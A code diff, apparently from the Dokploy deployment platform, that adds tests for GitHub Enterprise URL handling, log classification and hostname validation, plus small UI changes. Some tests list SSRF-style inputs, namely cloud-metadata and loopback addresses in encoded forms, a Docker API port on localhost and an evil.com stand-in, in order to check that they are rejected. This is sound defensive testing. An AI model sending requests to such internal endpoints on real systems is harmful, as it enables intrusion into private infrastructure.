|
||||
dopplerClient.getSecrets(
|
||||
{ providerType: "doppler", serviceToken: "bad" },
|
||||
["FOO"],
|
||||
),
|
||||
).rejects.toThrow("status 401");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,106 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// cloneGithubRepository builds a shell command; the only thing under test here
|
||||
// is which host ends up in the clone URL, so the app auth is stubbed out.
|
||||
const mockFindGithubById = vi.hoisted(() => vi.fn());
|
||||
|
||||
vi.mock("@dokploy/server/services/github", () => ({
|
||||
findGithubById: mockFindGithubById,
|
||||
}));
|
||||
|
||||
vi.mock("@octokit/auth-app", () => ({
|
||||
createAppAuth: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("octokit", () => ({
|
||||
Octokit: class {
|
||||
auth = async () => ({ token: "gh-token" });
|
||||
},
|
||||
}));
|
||||
|
||||
const { cloneGithubRepository } = await import(
|
||||
"@dokploy/server/utils/providers/github"
|
||||
);
|
||||
|
||||
const provider = (githubUrl: string) => ({
|
||||
githubId: "gh-1",
|
||||
githubUrl,
|
||||
githubAppId: 1,
|
||||
githubPrivateKey: "key",
|
||||
githubInstallationId: "42",
|
||||
});
|
||||
|
||||
const clone = async () => {
|
||||
const command = await cloneGithubRepository({
|
||||
appName: "my-app",
|
||||
owner: "acme",
|
||||
repository: "web",
|
||||
branch: "main",
|
||||
githubId: "gh-1",
|
||||
enableSubmodules: false,
|
||||
serverId: null,
|
||||
});
|
||||
return command.replace(/\\/g, "");
|
||||
};
|
||||
|
||||
describe("cloneGithubRepository host", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it("clones from github.com for a default provider", async () => {
|
||||
mockFindGithubById.mockResolvedValue(provider("https://github.com"));
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.com/acme/web.git",
|
||||
);
|
||||
expect(command).not.toContain("ghe.com");
|
||||
});
|
||||
|
||||
it("clones from the Enterprise host, not github.com", async () => {
|
||||
mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com"));
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@acme.ghe.com/acme/web.git",
|
||||
);
|
||||
expect(command).not.toContain("github.com");
|
||||
});
|
||||
|
||||
it("clones from a self-hosted Enterprise Server host", async () => {
|
||||
mockFindGithubById.mockResolvedValue(
|
||||
provider("https://github.corp.acme.com"),
|
||||
);
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.corp.acme.com/acme/web.git",
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps an explicit port in the clone host", async () => {
|
||||
mockFindGithubById.mockResolvedValue(
|
||||
provider("https://github.acme.com:8443"),
|
||||
);
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.acme.com:8443/acme/web.git",
|
||||
);
|
||||
});
|
||||
|
||||
it("falls back to github.com for a provider stored before this feature", async () => {
|
||||
mockFindGithubById.mockResolvedValue(provider(""));
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.com/acme/web.git",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,168 @@
|
||||
import {
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
DEFAULT_GITHUB_URL,
|
||||
deriveGithubApiUrl,
|
||||
normalizeGithubUrl,
|
||||
parseGithubBaseUrl,
|
||||
} from "@dokploy/server/utils/providers/github";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const urlOf = (result: ReturnType<typeof parseGithubBaseUrl>) =>
|
||||
"url" in result ? result.url : null;
|
||||
|
||||
describe("normalizeGithubUrl", () => {
|
||||
it("defaults to github.com when empty", () => {
|
||||
expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(normalizeGithubUrl(" ")).toBe(DEFAULT_GITHUB_URL);
|
||||
});
|
||||
|
||||
it("assumes https when no scheme is given", () => {
|
||||
expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com");
|
||||
});
|
||||
|
||||
it("strips paths, queries and trailing slashes", () => {
|
||||
expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe(
|
||||
"https://acme.ghe.com",
|
||||
);
|
||||
expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe(
|
||||
"https://acme.ghe.com",
|
||||
);
|
||||
expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe(
|
||||
"https://github.acme.com",
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps an explicit port", () => {
|
||||
expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe(
|
||||
"https://github.acme.com:8443",
|
||||
);
|
||||
});
|
||||
|
||||
it("falls back to github.com on unusable input", () => {
|
||||
expect(normalizeGithubUrl("ftp://github.acme.com")).toBe(
|
||||
DEFAULT_GITHUB_URL,
|
||||
);
|
||||
expect(normalizeGithubUrl("http://github.internal")).toBe(
|
||||
DEFAULT_GITHUB_URL,
|
||||
);
|
||||
expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL);
|
||||
});
|
||||
});
|
||||
|
||||
describe("parseGithubBaseUrl", () => {
|
||||
it("accepts github.com and Enterprise hosts", () => {
|
||||
expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe(
|
||||
"https://acme.ghe.com",
|
||||
);
|
||||
// A self-hosted instance behind the corporate network is a valid target.
|
||||
expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe(
|
||||
"https://github.corp.acme.com",
|
||||
);
|
||||
expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe(
|
||||
"https://github.acme.com:8443",
|
||||
);
|
||||
});
|
||||
|
||||
it("treats an absent value as github.com", () => {
|
||||
// Not specified is different from specified wrong.
|
||||
expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(urlOf(parseGithubBaseUrl(" "))).toBe(DEFAULT_GITHUB_URL);
|
||||
});
|
||||
|
||||
it("rejects plaintext http", () => {
|
||||
expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error");
|
||||
expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error");
|
||||
});
|
||||
|
||||
it("rejects dotless hostnames", () => {
|
||||
expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error");
|
||||
expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error");
|
||||
});
|
||||
|
||||
it("rejects a dotless hostname hidden behind the DNS root label", () => {
|
||||
// "metadata." resolves like "metadata" but the trailing dot would satisfy
|
||||
// a naive `includes(".")` check.
|
||||
expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error");
|
||||
expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error");
|
||||
});
|
||||
|
||||
it("never falls back to github.com on a typo", () => {
|
||||
// The symptom that opened the ticket: a provider silently pointing at
|
||||
// github.com and reporting that it cannot find the repositories.
|
||||
for (const typo of [
|
||||
"htps://acme.ghe.com",
|
||||
"ftp://acme.ghe.com",
|
||||
"https://",
|
||||
"acme .ghe.com",
|
||||
]) {
|
||||
const result = parseGithubBaseUrl(typo);
|
||||
expect(result, typo).toHaveProperty("error");
|
||||
expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("deriveGithubApiUrl", () => {
|
||||
it("maps github.com to api.github.com", () => {
|
||||
expect(deriveGithubApiUrl("https://github.com")).toBe(
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
);
|
||||
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
);
|
||||
expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL);
|
||||
});
|
||||
|
||||
it("prefixes api. for data residency tenants", () => {
|
||||
expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe(
|
||||
"https://api.acme.ghe.com",
|
||||
);
|
||||
expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe(
|
||||
"https://api.americancreditacceptance.ghe.com",
|
||||
);
|
||||
});
|
||||
|
||||
it("uses /api/v3 for Enterprise Server", () => {
|
||||
expect(deriveGithubApiUrl("https://github.acme.com")).toBe(
|
||||
"https://github.acme.com/api/v3",
|
||||
);
|
||||
expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe(
|
||||
"https://github.acme.com:8443/api/v3",
|
||||
);
|
||||
});
|
||||
|
||||
it("does not treat a lookalike host as data residency", () => {
|
||||
// Must not match the .ghe.com branch just because the string contains it.
|
||||
expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe(
|
||||
"https://ghe.com.acme.io/api/v3",
|
||||
);
|
||||
});
|
||||
|
||||
it("still detects data residency behind the DNS root label", () => {
|
||||
// "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall
|
||||
// through to the /api/v3 branch.
|
||||
expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe(
|
||||
"https://api.acme.ghe.com",
|
||||
);
|
||||
});
|
||||
|
||||
it("maps www.github.com, which a user may well type", () => {
|
||||
// Not dead weight: GitHub never redirects a manifest there, but the value
|
||||
// comes from a text field. Without this it would derive
|
||||
// https://www.github.com/api/v3.
|
||||
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("providers created before Enterprise support", () => {
|
||||
it("keeps pointing at github.com", () => {
|
||||
// The column defaults to https://github.com, but a null must not break it.
|
||||
expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL);
|
||||
expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,143 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// The gh_init branch runs on a GET the user can be linked into, so a rejected
|
||||
// host must produce a 400 *before* any outbound request is made.
|
||||
const mockValidateRequest = vi.hoisted(() => vi.fn());
|
||||
const mockHasPermission = vi.hoisted(() => vi.fn());
|
||||
const mockCreateGithub = vi.hoisted(() => vi.fn());
|
||||
const mockOctokitRequest = vi.hoisted(() => vi.fn());
|
||||
|
||||
vi.mock("@dokploy/server", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("@dokploy/server")>();
|
||||
return {
|
||||
...actual,
|
||||
validateRequest: mockValidateRequest,
|
||||
createGithub: mockCreateGithub,
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("@dokploy/server/services/permission", () => ({
|
||||
hasPermission: mockHasPermission,
|
||||
}));
|
||||
|
||||
vi.mock("octokit", () => ({
|
||||
Octokit: class {
|
||||
request = mockOctokitRequest;
|
||||
},
|
||||
}));
|
||||
|
||||
const { default: handler } = await import("@/pages/api/providers/github/setup");
|
||||
|
||||
const ORG = "org-1";
|
||||
const USER = "user-1";
|
||||
|
||||
const buildRes = () => {
|
||||
const res = {
|
||||
statusCode: 0,
|
||||
body: undefined as unknown,
|
||||
redirectedTo: undefined as string | undefined,
|
||||
status(code: number) {
|
||||
res.statusCode = code;
|
||||
return res;
|
||||
},
|
||||
json(payload: unknown) {
|
||||
res.body = payload;
|
||||
return res;
|
||||
},
|
||||
redirect(_code: number, url: string) {
|
||||
res.redirectedTo = url;
|
||||
return res;
|
||||
},
|
||||
};
|
||||
return res;
|
||||
};
|
||||
|
||||
const call = async (githubUrl?: string | string[]) => {
|
||||
const res = buildRes();
|
||||
const req = {
|
||||
query: {
|
||||
code: "manifest-code",
|
||||
state: `gh_init:${ORG}:${USER}`,
|
||||
...(githubUrl === undefined ? {} : { githubUrl }),
|
||||
},
|
||||
headers: {},
|
||||
} as unknown as Parameters<typeof handler>[0];
|
||||
|
||||
await handler(req, res as unknown as Parameters<typeof handler>[1]);
|
||||
return res;
|
||||
};
|
||||
|
||||
describe("github setup handler — host validation", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockValidateRequest.mockResolvedValue({
|
||||
user: { id: USER },
|
||||
session: { activeOrganizationId: ORG },
|
||||
});
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
mockOctokitRequest.mockResolvedValue({
|
||||
data: {
|
||||
name: "Dokploy",
|
||||
html_url: "https://acme.ghe.com/apps/dokploy",
|
||||
id: 1,
|
||||
client_id: "cid",
|
||||
client_secret: "csecret",
|
||||
webhook_secret: "wsecret",
|
||||
pem: "key",
|
||||
},
|
||||
});
|
||||
mockCreateGithub.mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
it.each([
|
||||
["http://acme.ghe.com", "plaintext http"],
|
||||
["http://localhost:2375", "internal service over http"],
|
||||
["https://metadata", "dotless hostname"],
|
||||
["htps://acme.ghe.com", "scheme typo"],
|
||||
])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => {
|
||||
const res = await call(githubUrl);
|
||||
|
||||
expect(res.statusCode).toBe(400);
|
||||
expect(mockOctokitRequest).not.toHaveBeenCalled();
|
||||
expect(mockCreateGithub).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("throws on a repeated parameter instead of silently picking one", async () => {
|
||||
// ?githubUrl=a&githubUrl=b reaches .trim() on an array.
|
||||
await expect(
|
||||
call(["https://acme.ghe.com", "https://evil.com"]),
|
||||
).rejects.toThrow();
|
||||
|
||||
expect(mockCreateGithub).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("accepts a data residency tenant", async () => {
|
||||
await call("https://acme.ghe.com");
|
||||
|
||||
expect(mockCreateGithub).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ githubUrl: "https://acme.ghe.com" }),
|
||||
ORG,
|
||||
USER,
|
||||
);
|
||||
});
|
||||
|
||||
it("accepts a self-hosted Enterprise Server host", async () => {
|
||||
await call("https://github.corp.acme.com");
|
||||
|
||||
expect(mockCreateGithub).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }),
|
||||
ORG,
|
||||
USER,
|
||||
);
|
||||
});
|
||||
|
||||
it("treats an absent parameter as github.com", async () => {
|
||||
await call(undefined);
|
||||
|
||||
expect(mockCreateGithub).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ githubUrl: "https://github.com" }),
|
||||
ORG,
|
||||
USER,
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,75 @@
|
||||
import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
|
||||
|
||||
/**
|
||||
* The client cannot import from @dokploy/server (node-only modules), so
|
||||
* resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file
|
||||
* stops the two from drifting apart — and they already did once, when the
|
||||
* client stripped trailing slashes but not paths and the form action disagreed
|
||||
* with the persisted row.
|
||||
*
|
||||
* The invariant: for the same input, both must make the same accept/reject
|
||||
* decision, and agree on the URL when they accept.
|
||||
*/
|
||||
const INPUTS = [
|
||||
// Accepted
|
||||
"https://github.com",
|
||||
"github.com",
|
||||
"https://acme.ghe.com",
|
||||
"acme.ghe.com",
|
||||
"https://github.corp.acme.com",
|
||||
"https://github.acme.com:8443",
|
||||
"https://acme.ghe.com/",
|
||||
"https://acme.ghe.com///",
|
||||
"https://acme.ghe.com/enterprises/foo",
|
||||
"https://acme.ghe.com/some/path?x=1",
|
||||
" acme.ghe.com ",
|
||||
"https://acme.ghe.com.",
|
||||
"https://169.254.169.254",
|
||||
"https://127.0.0.1",
|
||||
"https://2130706433",
|
||||
"https://0x7f.1",
|
||||
"",
|
||||
" ",
|
||||
// Rejected
|
||||
"http://acme.ghe.com",
|
||||
"http://localhost:2375",
|
||||
"https://[::1]",
|
||||
"https://[::ffff:127.0.0.1]",
|
||||
"https://metadata",
|
||||
"https://metadata.",
|
||||
"https://localhost",
|
||||
"https://localhost.",
|
||||
"htps://acme.ghe.com",
|
||||
"ftp://acme.ghe.com",
|
||||
"https://",
|
||||
"acme .ghe.com",
|
||||
"esto no es una url",
|
||||
];
|
||||
|
||||
describe("client and server agree on GitHub base URLs", () => {
|
||||
it.each(INPUTS)("%j", (input) => {
|
||||
const client = resolveGithubBaseUrl(input);
|
||||
const server = parseGithubBaseUrl(input);
|
||||
|
||||
const clientAccepted = !client.error;
|
||||
const serverAccepted = "url" in server;
|
||||
|
||||
expect(
|
||||
clientAccepted,
|
||||
`accept/reject differs for ${JSON.stringify(input)}`,
|
||||
).toBe(serverAccepted);
|
||||
|
||||
if (clientAccepted && "url" in server) {
|
||||
expect(client.baseUrl, `resolved URL differs for ${input}`).toBe(
|
||||
server.url,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("both treat an empty value as github.com", () => {
|
||||
expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL });
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,42 @@
|
||||
import { getLogType } from "@/components/dashboard/docker/logs/utils";
|
||||
import { expect, test } from "vitest";
|
||||
|
||||
test("classifies real failures as error", () => {
|
||||
expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
|
||||
expect(getLogType("[ERROR] something went wrong").type).toBe("error");
|
||||
expect(getLogType("Deployment failed").type).toBe("error");
|
||||
expect(
|
||||
getLogType(
|
||||
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
|
||||
).type,
|
||||
).toBe("error");
|
||||
});
|
||||
|
||||
test("does not classify explicit non-error key/values as error (#4538)", () => {
|
||||
// ofelia job-completion summary for a successful run
|
||||
expect(
|
||||
getLogType(
|
||||
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
|
||||
).type,
|
||||
).not.toBe("error");
|
||||
|
||||
expect(getLogType("request done, error: null").type).not.toBe("error");
|
||||
expect(getLogType("checks passed, failures=0").type).not.toBe("error");
|
||||
expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
|
||||
expect(getLogType('job done failed=false error=""').type).not.toBe("error");
|
||||
});
|
||||
|
||||
test("keeps errors whose value merely starts with a no-error word", () => {
|
||||
expect(getLogType("connect failed: no route to host").type).toBe("error");
|
||||
expect(getLogType("connection failed: no such host").type).toBe("error");
|
||||
expect(
|
||||
getLogType("error: none of the configured nodes are available").type,
|
||||
).toBe("error");
|
||||
expect(getLogType("error: nil pointer dereference").type).toBe("error");
|
||||
expect(getLogType("request failed: 0 bytes received").type).toBe("error");
|
||||
});
|
||||
|
||||
test("keeps statusCode-based classification", () => {
|
||||
expect(getLogType('{"statusCode": "500"}').type).toBe("error");
|
||||
expect(getLogType('{"statusCode": "204"}').type).toBe("success");
|
||||
});
|
||||
@@ -39,6 +39,7 @@ const ENTERPRISE_RESOURCES = [
|
||||
"logs",
|
||||
"monitoring",
|
||||
"auditLog",
|
||||
"vaultProvider",
|
||||
];
|
||||
|
||||
describe("enterpriseOnlyResources set", () => {
|
||||
|
||||
@@ -55,6 +55,28 @@ describe("processLogs", () => {
|
||||
expect(result.data).toHaveLength(2);
|
||||
});
|
||||
|
||||
it("should not throw when filtering by hostname and an entry has no RequestHost", () => {
|
||||
const entryWithoutRequestHost = sampleLogEntry.replace(
|
||||
/"RequestHost":"[^"]*",/,
|
||||
"",
|
||||
);
|
||||
|
||||
const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`;
|
||||
|
||||
expect(() =>
|
||||
parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"),
|
||||
).not.toThrow();
|
||||
|
||||
const result = parseRawConfig(
|
||||
mixedEntries,
|
||||
undefined,
|
||||
undefined,
|
||||
"traefik.me",
|
||||
);
|
||||
expect(result.totalCount).toBe(1);
|
||||
expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me");
|
||||
});
|
||||
|
||||
it("should filter out Dokploy dashboard requests", () => {
|
||||
const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`;
|
||||
|
||||
|
||||
@@ -7,6 +7,8 @@ const baseApp: ApplicationNested = {
|
||||
rollbackActive: false,
|
||||
applicationId: "",
|
||||
previewLabels: [],
|
||||
networkIds: [],
|
||||
detachDokployNetwork: false,
|
||||
createEnvFile: true,
|
||||
bitbucketRepositorySlug: "",
|
||||
herokuVersion: "",
|
||||
|
||||
@@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => {
|
||||
"a.b.c.example.co",
|
||||
"xn--80ak6aa92e.com",
|
||||
"123.example.com",
|
||||
"example",
|
||||
"dokploy-server",
|
||||
"localhost",
|
||||
])("accepts valid hostname %s", (host) => {
|
||||
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
|
||||
});
|
||||
@@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => {
|
||||
"bbn_client.example.com",
|
||||
"-example.com",
|
||||
"example-.com",
|
||||
"example",
|
||||
"exa mple.com",
|
||||
"example..com",
|
||||
"",
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
import { describe, expect, test } from "vitest";
|
||||
import { getLogType } from "@/components/dashboard/docker/logs/utils";
|
||||
|
||||
describe("getLogType", () => {
|
||||
describe("explicit level declared by structured loggers", () => {
|
||||
test("JSON string levels (pino, winston, zap)", () => {
|
||||
expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
|
||||
expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
|
||||
expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
|
||||
expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
|
||||
});
|
||||
|
||||
test("JSON numeric levels (pino, bunyan)", () => {
|
||||
expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
|
||||
expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
|
||||
expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
|
||||
});
|
||||
|
||||
test("syslog/GELF numeric levels", () => {
|
||||
expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
|
||||
expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
|
||||
});
|
||||
|
||||
test("GCP-style severity and ECS log.level", () => {
|
||||
expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
|
||||
"error",
|
||||
);
|
||||
expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
|
||||
"warning",
|
||||
);
|
||||
expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
|
||||
"error",
|
||||
);
|
||||
});
|
||||
|
||||
test("logfmt levels", () => {
|
||||
expect(
|
||||
getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
|
||||
).toBe("error");
|
||||
expect(
|
||||
getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
|
||||
).toBe("info");
|
||||
expect(getLogType("level=warn msg=careful").type).toBe("warning");
|
||||
});
|
||||
|
||||
test("declared level wins over keywords in the message (#4589, #1996)", () => {
|
||||
// "version"/"GET" in this pino line would otherwise match the debug keywords
|
||||
const pinoError =
|
||||
'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
|
||||
expect(getLogType(pinoError).type).toBe("error");
|
||||
|
||||
// info line containing error-like keywords (#4589)
|
||||
expect(
|
||||
getLogType(
|
||||
'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
|
||||
).type,
|
||||
).toBe("info");
|
||||
|
||||
// successful job summary with "failed: false, error: none" (#4538)
|
||||
expect(
|
||||
getLogType(
|
||||
'level=info msg="Finished job, failed: false, skipped: false, error: none"',
|
||||
).type,
|
||||
).toBe("info");
|
||||
});
|
||||
|
||||
test("declared level wins over statusCode", () => {
|
||||
expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
|
||||
});
|
||||
|
||||
test("unknown level names fall back to keyword detection", () => {
|
||||
expect(
|
||||
getLogType('{"level":"verbose","msg":"connection failed"}').type,
|
||||
).toBe("error");
|
||||
});
|
||||
|
||||
test("env-var-like text is not treated as logfmt level", () => {
|
||||
expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
|
||||
"error",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("fallback detection for unstructured logs (unchanged)", () => {
|
||||
test("statusCode classification", () => {
|
||||
expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
|
||||
});
|
||||
|
||||
test("keyword classification", () => {
|
||||
expect(getLogType("error: something broke").type).toBe("error");
|
||||
expect(getLogType("warning: disk almost full").type).toBe("warning");
|
||||
expect(getLogType("Server listening on port 8080").type).toBe("success");
|
||||
});
|
||||
|
||||
test("defaults to info", () => {
|
||||
expect(getLogType("hello world").type).toBe("info");
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -185,7 +185,7 @@ export const ShowImport = ({ composeId }: Props) => {
|
||||
</Button>
|
||||
</div>
|
||||
<Dialog open={showModal} onOpenChange={setShowModal}>
|
||||
<DialogContent className="max-w-[50vw]">
|
||||
<DialogContent className="sm:max-w-3xl max-h-[85vh] flex flex-col">
|
||||
<DialogHeader>
|
||||
<DialogTitle className="text-2xl font-bold">
|
||||
Template Information
|
||||
@@ -199,7 +199,7 @@ export const ShowImport = ({ composeId }: Props) => {
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
|
||||
<div className="flex flex-col gap-6">
|
||||
<div className="flex flex-col gap-6 flex-1 min-h-0 overflow-y-auto pr-1">
|
||||
<div className="space-y-4">
|
||||
<div className="flex items-center gap-2">
|
||||
<Code2 className="h-5 w-5 text-primary" />
|
||||
@@ -207,12 +207,14 @@ export const ShowImport = ({ composeId }: Props) => {
|
||||
Docker Compose
|
||||
</h3>
|
||||
</div>
|
||||
<CodeEditor
|
||||
language="yaml"
|
||||
value={templateInfo?.compose || ""}
|
||||
className="font-mono"
|
||||
readOnly
|
||||
/>
|
||||
<div className="max-h-[45vh] overflow-auto rounded-md border">
|
||||
<CodeEditor
|
||||
language="yaml"
|
||||
value={templateInfo?.compose || ""}
|
||||
className="font-mono"
|
||||
readOnly
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<Separator />
|
||||
|
||||
@@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [
|
||||
z.object({
|
||||
buildType: z.literal(BuildType.nixpacks),
|
||||
publishDirectory: z.string().optional(),
|
||||
isStaticSpa: z.boolean().default(false),
|
||||
}),
|
||||
z.object({
|
||||
buildType: z.literal(BuildType.railpack),
|
||||
@@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => {
|
||||
return {
|
||||
buildType: BuildType.nixpacks,
|
||||
publishDirectory: data.publishDirectory || undefined,
|
||||
isStaticSpa: data.isStaticSpa ?? false,
|
||||
};
|
||||
case BuildType.paketo_buildpacks:
|
||||
return {
|
||||
@@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
||||
|
||||
const buildType = form.watch("buildType");
|
||||
const railpackVersion = form.watch("railpackVersion");
|
||||
const publishDirectory = form.watch("publishDirectory");
|
||||
const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
